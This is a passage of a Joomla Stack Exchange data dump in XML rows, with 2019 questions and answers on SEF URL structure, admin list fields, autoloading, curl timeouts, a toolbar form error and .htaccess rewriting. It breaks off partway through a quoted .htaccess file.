  <row Id="25028" PostTypeId="1" AcceptedAnswerId="25029" CreationDate="2019-08-12T16:33:29.357" Score="1" ViewCount="1081" Body="&lt;p&gt;How to display category name in the url path?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say I have a category named &lt;code&gt;cat1&lt;/code&gt;, and an &lt;code&gt;article1&lt;/code&gt; under this category.&#xA;I want to display &lt;code&gt;website.wb/cat1/article1&lt;/code&gt;, but what I get is &lt;code&gt;website.wb/article1&lt;/code&gt;. As you can see, the category is missing…&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should I do to enable the category in the url?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: SEF and URL Rewriting are both enabled, categories are published.&lt;/p&gt;&#xA;" OwnerUserId="13691" LastEditorUserId="12352" LastEditDate="2019-08-12T20:41:20.913" LastActivityDate="2019-08-12T20:41:20.913" Title="How to add category name to url path for an article in Joomla 4?" Tags="|articles|url|category|joomla-4|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25029" PostTypeId="2" ParentId="25028" CreationDate="2019-08-12T19:38:41.993" Score="2" Body="&lt;p&gt;With Joomla core you need to setup a menu structure that will correspond to what you want to achieve with your URLs. Menus are important in Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the example of the URLs in your question - it seems like you have created a menu item for the article1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want all articles of that category (cat1) to be reachable under the cat1/article1,art2,art3 pattern, then create a category type menu item for the cat1 category. You can create that menu item in a hidden menu (a menu with no menu module) - or set the menu item itself as hidden (Menu Item -&gt; Link Type tab -&gt; Display in Menu). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to have a menu item in your menu that will link directly to the cat1/article1, then make the menu item of the article a child of your cat1 menu item. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, there are 3rd party SEF extensions that offer various different capabilities. Check in &lt;a href=&quot;https://extensions.joomla.org/category/site-management/sef/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;JED for SEF extensions&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2019-08-12T19:38:41.993" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="25030" PostTypeId="1" CreationDate="2019-08-13T07:15:39.103" Score="0" ViewCount="77" Body="&lt;p&gt;Joomla 3.9.10.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have custom component. In admin panel I show items list from one DB table with JModelList.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;models/mycom.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class MyComModelMyCom extends JModelList {&#xA;&#xA;  public function getItems() {&#xA;    ...&#xA;    return $items;&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;views/mycom/tmpl/default.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;index.php?option=com_mycom&amp;amp;view=mycom&quot; method=&quot;post&quot; id=&quot;adminForm&quot; name=&quot;adminForm&quot;&amp;gt;&#xA;  &amp;lt;table class=&quot;table table-striped&quot;&amp;gt;&#xA;    &amp;lt;thead&amp;gt;&#xA;      &amp;lt;tr&amp;gt;&#xA;        &amp;lt;th&amp;gt;&amp;lt;?= JHtml::_('grid.checkall') ?&amp;gt;&amp;lt;/th&amp;gt;&#xA;        &amp;lt;th&amp;gt;&amp;lt;?= JText::_('COM_MYCOM_TITLE') ?&amp;gt;&amp;lt;/th&amp;gt;&#xA;        &amp;lt;th&amp;gt;&amp;lt;?= JText::_('COM_MYCOM_MYBOOLEAN') ?&amp;gt;&amp;lt;/th&amp;gt;&#xA;      &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;/thead&amp;gt;&#xA;    &amp;lt;tbody&amp;gt;&#xA;      &amp;lt;?php if (!empty($this-&amp;gt;items)) : ?&amp;gt;&#xA;        &amp;lt;?php foreach ($this-&amp;gt;items as $i =&amp;gt; $item) : ?&amp;gt;&#xA;          &amp;lt;tr&amp;gt;&#xA;            &amp;lt;td&amp;gt;&amp;lt;?= JHtml::_('grid.id', $i, $item-&amp;gt;id) ?&amp;gt;&amp;lt;/td&amp;gt;&#xA;            &amp;lt;td&amp;gt;&amp;lt;?= $item-&amp;gt;title ?&amp;gt;&amp;lt;/td&amp;gt;&#xA;            &amp;lt;td&amp;gt;&amp;lt;?= $item-&amp;gt;myboolean ?&amp;gt;&amp;lt;/td&amp;gt;&#xA;          &amp;lt;/tr&amp;gt;&#xA;        &amp;lt;?php endforeach; ?&amp;gt;&#xA;      &amp;lt;?php endif; ?&amp;gt;&#xA;    &amp;lt;/tbody&amp;gt;&#xA;  &amp;lt;/table&amp;gt;&#xA;  &amp;lt;input type=&quot;hidden&quot; name=&quot;task&quot; value=&quot;&quot;/&amp;gt;&#xA;  &amp;lt;input type=&quot;hidden&quot; name=&quot;boxchecked&quot; value=&quot;&quot;/&amp;gt;&#xA;  &amp;lt;?= JHtml::_('form.token'); ?&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There is one field with type 'boolean'. I want to change value from list table like standard field 'published'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do it? Is there any magic class in JHtml? Or what should I look for?&lt;/p&gt;&#xA;" OwnerUserId="13686" LastActivityDate="2023-12-20T15:05:15.690" Title="Change boolean field in JModelList table like &quot;published&quot;" Tags="|joomla-3.x|jmodel|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="25031" PostTypeId="2" ParentId="25030" CreationDate="2019-08-13T08:17:54.600" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://www.mysqltutorial.org/mysql-boolean/&quot; rel=&quot;nofollow noreferrer&quot;&gt;MySQL offers BOOLEAN data types via `TINYINT(1) which means it is storing zeros and ones.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regardless of if you are evaluating &lt;code&gt;true&lt;/code&gt;|&lt;code&gt;1&lt;/code&gt; versus &lt;code&gt;false&lt;/code&gt;|&lt;code&gt;0&lt;/code&gt;, you are still dealing with truthy versus falsey values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PHP offers loose comparisons so you don't need to be specific about the data type when writing a conditional.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you just want to translate the column value as &lt;code&gt;published&lt;/code&gt; or &lt;code&gt;unpublished&lt;/code&gt;, here is a simple inline condition (ternary) technique:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?= $item-&amp;gt;myboolean ? 'published' : 'unpublished' ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course if you want language flexibility, you could write all-caps language placeholders and leverage your language .ini files.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2019-08-13T08:17:54.600" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25032" PostTypeId="1" AcceptedAnswerId="25033" CreationDate="2019-08-13T09:00:02.150" Score="1" ViewCount="228" Body="&lt;p&gt;How to set a root article as sub-path URL for children articles?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Meaning, I have a root page named &lt;code&gt;article0&lt;/code&gt;, and &lt;code&gt;article{1-100}&lt;/code&gt; under this root article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to display the &lt;code&gt;article0&lt;/code&gt; under the URL &lt;code&gt;website.wb/article0&lt;/code&gt;, but also &lt;code&gt;website.wb/article0/article{1-100}&lt;/code&gt;under the former…&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For now, I can put articles under &lt;code&gt;article0&lt;/code&gt;, &lt;strong&gt;but I cannot get the corresponding URL…&lt;/strong&gt; &lt;a href=&quot;https://joomla.stackexchange.com/questions/25028/how-to-add-category-name-to-url-path-for-an-article-in-joomla-4/25029#25029&quot;&gt;And seems I cannot use Hidden Menus and Categories to get the result&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So is there any solution built-in in Joomla, or I have, at least, to override &lt;code&gt;/components/com_content/category&lt;/code&gt;, or coding components, etc…&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The above mentioned override of &lt;code&gt;com_content/category/&lt;/code&gt;, is to put in &lt;code&gt;default.php&lt;/code&gt; this content:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA;    $table_plan         = JTable::getInstance('Content', 'JTable');&#xA;    $table_plan_return  = $table_plan-&amp;gt;load('2');&#xA;    echo $table_plan-&amp;gt;introtext;&#xA;    ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where '2' is the id of the root article. Then I put this category as link in the wanted menu.&lt;/p&gt;&#xA;" OwnerUserId="13691" LastEditorUserId="13691" LastEditDate="2019-08-13T15:41:08.373" LastActivityDate="2019-08-13T15:41:08.373" Title="How to set a root article as subpath url for children articles" Tags="|joomla-4.x|joomla-4|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25033" PostTypeId="2" ParentId="25032" CreationDate="2019-08-13T14:16:54.387" Score="1" Body="&lt;p&gt;Ok, this is a bit hack-ish, but it can work:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set article0 as a category itself, not as an article. Use the Category Description field to hold what you currently have as the article text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set article1-100 as articles in the category. That way /article0 is the category  (Blog or List) page, and the rest are /article0/articlex as articles within that category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla likes to list articles on the category page (the Category Blog menu item type &lt;em&gt;might&lt;/em&gt; be able to be convinced to display 0 articles, haven't tested it). That means you will probably have to write a template override in order to do a clean display of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's the simplest solution I can see, at the moment, unless you can find a third party SEF URL generator that will use menu item parent/child relationships to build the URLs. Other ideas are using a third-party generator to manually create all 101 URLs you're talking about (can be done, but seems tedious to maintain) or writing your own SEF extension to do what you want.&lt;/p&gt;&#xA;" OwnerUserId="5394" LastActivityDate="2019-08-13T14:16:54.387" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25034" PostTypeId="2" ParentId="25025" CreationDate="2019-08-13T22:43:59.770" Score="5" Body="&lt;p&gt;James did a good differentiator between the composer autoloader and JLoader. I think the other thing that your missing here is that JLoader massively predates composer existing (and even when composer did exist it wasn't until the stable release it really became usable on shared hosting fully).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Slowly over time we will move things towards the composer autoloader in core. For example in Joomla 4.0 all the core libraries are moving across to it. However alongside this it has to be done in tandem with a move from lots of our core factories to use dependency injection from the old static methods we used in JFactory. Before several major components in the ecosystem actually overrode the JLoader mappings to inject their own classes (a good example is several MailChimp extensions overriding the JMail class).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;registerPrefix&lt;/code&gt; dates from a time before namespaces existed in PHP. As a result it's something totally custom we built for Joomla. Now namespaces exist we've started the move (and therefore away from &lt;code&gt;registerPrefix&lt;/code&gt;) with the core libraries being namespaced in Joomla 3.8. But basically rather than a namespace segment corresponding to a directory, you have say &lt;code&gt;/folder/subfolder/class&lt;/code&gt; corresponding to a class of &lt;code&gt;PrefixFolderSubfolderClass&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully this gives some historical background beyond the technical details already mentioned!&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2019-08-13T22:43:59.770" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25035" PostTypeId="2" ParentId="15635" CreationDate="2019-08-14T13:37:37.217" Score="1" Body="&lt;p&gt;Looks like the variable $params isn't getting set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could be several reasons this is happening, among them that there isn't a menu item set in the current URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As @lodder noted, this is old code. The mechanism involving the static call of getMenu from the site application was deprecated years ago; nobody should be using it anymore. (Don't remember precisely when it happened, but I think it was nearly a decade ago. I think it may have even been deprecated before this code was &lt;strong&gt;written&lt;/strong&gt;, given the copyright date.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Overall, my advice would be first to get this thing updated to something more nearly current, and if that's not possible to look at what the&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JSite::getMenu()-&amp;gt;getActive()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is returning. I suspect that's at the heart of the error message.&lt;/p&gt;&#xA;" OwnerUserId="5394" LastActivityDate="2019-08-14T13:37:37.217" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25036" PostTypeId="2" ParentId="22154" CreationDate="2019-08-14T14:04:42.827" Score="1" Body="&lt;p&gt;The message is generated because the call to curl the site's root url with https threw an exception so that's where to look.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The try/catch block is in administrator/components/com_config/model/application.php lines 126-159, so if you can single-step through there in a debugger you should see what's going wrong. No debugger? Inserting echo statements at appropriate places will help, so long as you don't mind things like that trashing your view in the admin panel. (I suppose you could try and log to the console output, if you'd rather.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your problem is that curl isn't available, and it's failing because that, I'm afraid I have no knowledge about how to install that for IIS (I'm just assuming its possible, b/c MS at one time was distributing Joomla on one of their web application CDs when they were courting PHP devs for IIS). I suspect it's as simple as locating the php.ini file and turning it on, though (check the &quot;System Information&quot; panel under 'System' in the Joomla admin for details on where to find it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, thanks to @mickmackusa I took a second look at that error; forget what I said about $response. My bad. It has no effect on this particular error.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHttpFactory::getHttp($options)-&amp;gt;get('https://' . $host . JUri::root(true) . '/', array('Host' =&amp;gt; $host), 10);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is the line that is failing. Yeah it looks like a batch of gobbledy-gook (that's what I hate about the so-called &quot;fluent&quot; approach to coding; it's confusing to read) but I'll break it down for you:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHttpFactory::getHttp($options)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is what gets the tool that will make the http request. Since you're not getting an error about a bad method call, I think we can assume that call is succeeding. Therefore:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get('https://' . $host . JUri::root(true) . '/', array('Host' =&amp;gt; $host), 10);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is probably our culprit. There are three arguments passed in:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;URL as string&lt;/li&gt;&#xA;&lt;li&gt;array of headers to send&lt;/li&gt;&#xA;&lt;li&gt;timeout limit in seconds&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;From the error message we see it waited the ten seconds and came back empty-handed. This &lt;em&gt;probably&lt;/em&gt; excuses the headers from the likely problem list, so we're left with the other two, which might mean:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The URL is bad&lt;/li&gt;&#xA;&lt;li&gt;Your server is taking too long to respond, possibly because it can't find itself. (Sounds strange, but I've seen it happen.)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So first try to echo out the URL string being built, then try to contact that same URL &lt;em&gt;from the server&lt;/em&gt;. If you time out, there's either something wrong at the server itself, or with the resolution of the name (you can ping the domain string -- www.example.com -- from the server's command line). Watch the time it takes to get a response, maybe it's just slow. Timeout values are hard; set them too long and users get impatient waiting for a response and leave before seeing the error, too short and slow machines trigger errors needlessly.&lt;/p&gt;&#xA;" OwnerUserId="5394" LastEditorUserId="5394" LastEditDate="2019-08-15T13:38:22.217" LastActivityDate="2019-08-15T13:38:22.217" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25037" PostTypeId="2" ParentId="24021" CreationDate="2019-08-14T14:44:18.880" Score="0" Body="&lt;p&gt;Just curious if you're working with a template override of the form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reason I'm asking is the function Joomla.submitbutton is typically added to the page by the template for the form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, Joomla.getOptions is defined in core.js, which templates can avoid or block loading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My guess is you're using a template that has decided for whatever reason to stop Joomla from loading the minimal javascript it needs, and the developer either wasn't aware of the right way to do that or didn't care about the side effects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pro tip: if you made the changes you mention directly to the core files, like your words implied, you have at most 6 months before an update breaks things by overwriting them. That's why template overrides exist.&lt;/p&gt;&#xA;" OwnerUserId="5394" LastActivityDate="2019-08-14T14:44:18.880" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25038" PostTypeId="2" ParentId="24877" CreationDate="2019-08-14T19:55:37.630" Score="1" Body="&lt;p&gt;I'm really not sure what you're after, but what I &lt;em&gt;think&lt;/em&gt; you're asking for is how to make the category blog that you have designated as your home page show a list of article titles, no intro text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do that, go to the &quot;Blog Layout&quot; tab of the menu itemand put zeroes in the boxes for Leading Articles and Intro Articles, then put in a number for how many link articles you want in your list. Then you'll want to adjust the values on the &quot;Options&quot; tab until you see what you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that's not what you're after, please expand your original question to give us more specifics so we can figure out what you're trying to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If nothing else works, a template override can certainly get you what you're after.&lt;/p&gt;&#xA;" OwnerUserId="5394" LastActivityDate="2019-08-14T19:55:37.630" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25039" PostTypeId="2" ParentId="24547" CreationDate="2019-08-14T20:05:12.757" Score="3" Body="&lt;p&gt;Depends upon how you change your css files. The JHTML line you have above works, it's just that the version doesn't change unless you force it to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the beginning of the index.php file in the template you also need to add:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;setMediaVersion('x.y.z');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where 'x.y.z' is your new version string for your template. Then that string will be used for the links loading the stylesheets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a manual change that you need to make anytime you change your media files. It's a manual process, but it's a simple change and lets you force cache refreshes when you've updated your templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should probably note the media version is part of joomla's Version object, and not really intended for this use, but it's the simplest way to achieve the end. There &lt;em&gt;is&lt;/em&gt; another way, using JHTML::register, but I've no idea of your appetite for writing Joomla plugins, so I stuck with the simple way.&lt;/p&gt;&#xA;" OwnerUserId="5394" LastEditorUserId="5394" LastEditDate="2019-08-14T20:25:22.263" LastActivityDate="2019-08-14T20:25:22.263" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25040" PostTypeId="2" ParentId="24976" CreationDate="2019-08-15T07:39:00.067" Score="1" Body="&lt;p&gt;This is not a Joomla question. Html tables are not responsive, and never will be. If you need to display tabular data in a truly responsive way you will have to fake it and make something that &lt;em&gt;looks&lt;/em&gt; like a table, but semantically isn't.&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2019-08-15T07:39:00.067" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25042" PostTypeId="1" AcceptedAnswerId="25050" CreationDate="2019-08-15T12:48:48.750" Score="2" ViewCount="760" Body="&lt;p&gt;I am receiving&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;TypeError: form is null&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;in the browser console when I select a custom button added to a form using JToolbarHelper.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can insert the button to any other component as is and it will submit so I suspect there is something in the way I have created my Form, but after nearly 4 hours I haven't been able to figure it out. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried to create a minimal form for a component (default.php)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;&#xA;use Joomla\CMS\Language\Text;&#xA;use Joomla\CMS\Factory;&#xA;&#xA;$form = JForm::getInstance('query', JPATH_COMPONENT . '/models/forms/query.xml');&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;form&#xA;    action=&quot;&amp;lt;?php echo JRoute::_('index.php?option=com_accentis&amp;amp;view=query'); ?&amp;gt;&quot;&#xA;    method=&quot;post&quot; enctype=&quot;multipart/form-data&quot; name=&quot;adminForm&quot; id=&quot;query-form&quot; &amp;gt;&#xA;&#xA;    &amp;lt;?php echo $form-&amp;gt;renderFieldset('query');  ?&amp;gt;&#xA;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;task&quot; value=&quot;&quot;/&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;view&quot; value=&quot;query&quot; /&amp;gt;&#xA;    &amp;lt;?php echo JHtml::_('form.token'); ?&amp;gt;&#xA;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My line to add the custom button is (view.html.php)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JToolbarHelper::custom('query.loadData', &quot;&quot; , &quot;&quot; , 'Load Data', false);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the console I get this message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;TypeError: form is null 2 core-uncompressed.js:66:4&#xA;submitform http://maralinga.test/media/system/js/core-uncompressed.js?0586eb80516116b3723cefdbfa5e045f:66&#xA;submitbutton http://maralinga.test/media/system/js/core-uncompressed.js?0586eb80516116b3723cefdbfa5e045f:99&#xA;onclick http://maralinga.test/administrator/index.php?option=com_accentis&amp;amp;view=query:1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And around line 66 in the script is where I crash and burn.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; * Generic submit form&#xA; *&#xA; * @param  {String}  task      The given task&#xA; * @param  {node}    form      The form element&#xA; * @param  {bool}    validate  The form element&#xA; *&#xA; * @returns  {void}&#xA; */&#xA;Joomla.submitform = function(task, form, validate) {&#xA;&#xA;    if (!form) {&#xA;        form = document.getElementById('adminForm');&#xA;    }&#xA;&#xA;    if (task) {&#xA;        form.task.value = task;             &amp;lt;===Line 66&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am thinking that the form variable is not getting set correctly and when it gets to line 66 it can't do whatever it wants to do. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect it is something with the way I am creating an instance of my form with the &lt;code&gt;$form = JForm::getInstance('query', JPATH_COMPONENT . '/models/forms/query.xml');&lt;/code&gt; or in my form definition params.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I am not sure if it matters, but this is the form object.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Joomla\CMS\Form\Form Object&#xA;(&#xA;    [data:protected] =&amp;gt; Joomla\Registry\Registry Object&#xA;        (&#xA;            [data:protected] =&amp;gt; stdClass Object&#xA;                (&#xA;                )&#xA;&#xA;            [initialized:protected] =&amp;gt; &#xA;            [separator] =&amp;gt; .&#xA;        )&#xA;&#xA;    [errors:protected] =&amp;gt; Array&#xA;        (&#xA;        )&#xA;&#xA;    [name:protected] =&amp;gt; query&#xA;    [options:protected] =&amp;gt; Array&#xA;        (&#xA;            [control] =&amp;gt; &#xA;        )&#xA;&#xA;    [xml:protected] =&amp;gt; SimpleXMLElement Object&#xA;        (&#xA;            [fieldset] =&amp;gt; SimpleXMLElement Object&#xA;                (&#xA;                    [@attributes] =&amp;gt; Array&#xA;                        (&#xA;                            [name] =&amp;gt; query&#xA;                            [label] =&amp;gt; COM_ACCENTIS_FIELDSET_QUERY&#xA;                        )&#xA;&#xA;                    [field] =&amp;gt; Array&#xA;                        (&#xA;                            [0] =&amp;gt; SimpleXMLElement Object&#xA;                                (&#xA;                                    [@attributes] =&amp;gt; Array&#xA;                                        (&#xA;                                            [name] =&amp;gt; searchId&#xA;                                            [type] =&amp;gt; text&#xA;                                            [label] =&amp;gt; COM_ACCENTIS_FIELD_SEARCHID_LABEL&#xA;                                            [description] =&amp;gt; COM_ACCENTIS_FIELD_SEARCHID_DESC&#xA;                                            [labelclass] =&amp;gt; control-label&#xA;                                        )&#xA;&#xA;                                    [0] =&amp;gt; &#xA;&#xA;                                )&#xA;&#xA;                            [1] =&amp;gt; SimpleXMLElement Object&#xA;                                (&#xA;                                    [@attributes] =&amp;gt; Array&#xA;                                        (&#xA;                                            [name] =&amp;gt; feature&#xA;                                            [type] =&amp;gt; list&#xA;                                            [label] =&amp;gt; COM_ACCENTIS_FIELD_FEATURE_LABEL&#xA;                                            [description] =&amp;gt; COM_ACCENTIS_FIELD_FEATURE_DESC&#xA;                                            [labelclass] =&amp;gt; control-label&#xA;                                        )&#xA;&#xA;                                    [option] =&amp;gt; Array&#xA;                                        (&#xA;                                            [0] =&amp;gt; Inventory&#xA;                                            [1] =&amp;gt; Sales Report&#xA;                                        )&#xA;&#xA;                                )&#xA;&#xA;                            [2] =&amp;gt; SimpleXMLElement Object&#xA;                                (&#xA;                                    [@attributes] =&amp;gt; Array&#xA;                                        (&#xA;                                            [name] =&amp;gt; params&#xA;                                            [type] =&amp;gt; text&#xA;                                            [multiple] =&amp;gt; true&#xA;                                            [formsource] =&amp;gt; administrator/components/com_accentis/models/forms/queryparams.xml&#xA;                                            [label] =&amp;gt; COM_ACCENTIS_FIELD_PARAMS_LABEL&#xA;                                            [description] =&amp;gt; COM_ACCENTIS_FIELD_PARAMS_DESC&#xA;                                            [labelclass] =&amp;gt; control-label&#xA;                                        )&#xA;&#xA;                                    [0] =&amp;gt; &#xA;&#xA;                                )&#xA;&#xA;                        )&#xA;&#xA;                )&#xA;&#xA;        )&#xA;&#xA;    [repeat] =&amp;gt; &#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="12352" LastEditDate="2019-08-15T21:51:59.833" LastActivityDate="2019-08-16T23:29:03.150" Title="TypeError: Form is Null on Button in Admin toolbar" Tags="|joomla-3.x|php|javascript|jform|error-reporting|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="25043" PostTypeId="1" CreationDate="2019-08-15T17:54:39.503" Score="1" ViewCount="391" Body="&lt;p&gt;My site on Joomla 3.9.3 is working well but since last week no one admin user can log in. There are no errors, the login form just refreshes after any submission.&#xA;I've tried to rewrite Joomla core files, to edit passwords in DB and to disable/enable some plugins referring to authentication in _extensions table, but all my tries did not affect.&#xA;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="13695" LastActivityDate="2019-08-15T17:54:39.503" Title="Can't login to admin with no errors (joomla 3.9.3)" Tags="|joomla-3.x|login|administration|authentication|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="25044" PostTypeId="1" CreationDate="2019-08-16T13:23:43.897" Score="0" ViewCount="178" Body="&lt;p&gt;As supported by various posts, I did : &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;change the htaccess.txt - file name to .htaccess via FTP&lt;/li&gt;&#xA;&lt;li&gt;set the URL - Rewrite Option in the Joomla Configuration Options to &quot;YES&quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Result:&#xA;- index.php is removed from all URLs&#xA;- all pages work, EXCEPT the start page of each language. The startpage of these pages is, for german, english and french:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;www.mydomain.com/de/&#xA;www.mydomain.com/en/&#xA;www.mydomain.com/fr/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Result for these landing pages is a 404 Error. When I however remove the trailing slash of all of them, the landing pages can be found perfectly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what shall I do ? Remove the trailing slashes from ONLY the start pages (all other pages don't get any trailing slashes..); and if yes; how ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My .htacess-file content:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;##&#xA;# @package    Joomla&#xA;# @copyright  Copyright (C) 2005 - 2015 Open Source Matters. All rights reserved.&#xA;# @license    GNU General Public License version 2 or later; see LICENSE.txt&#xA;##&#xA;&#xA;##&#xA;# READ THIS COMPLETELY IF YOU CHOOSE TO USE THIS FILE!&#xA;#&#xA;# The line just below this section: 'Options +FollowSymLinks' may cause problems&#xA;# with some server configurations.  It is required for use of mod_rewrite, but may already&#xA;# be set by your server administrator in a way that disallows changing it in&#xA;# your .htaccess file.  If 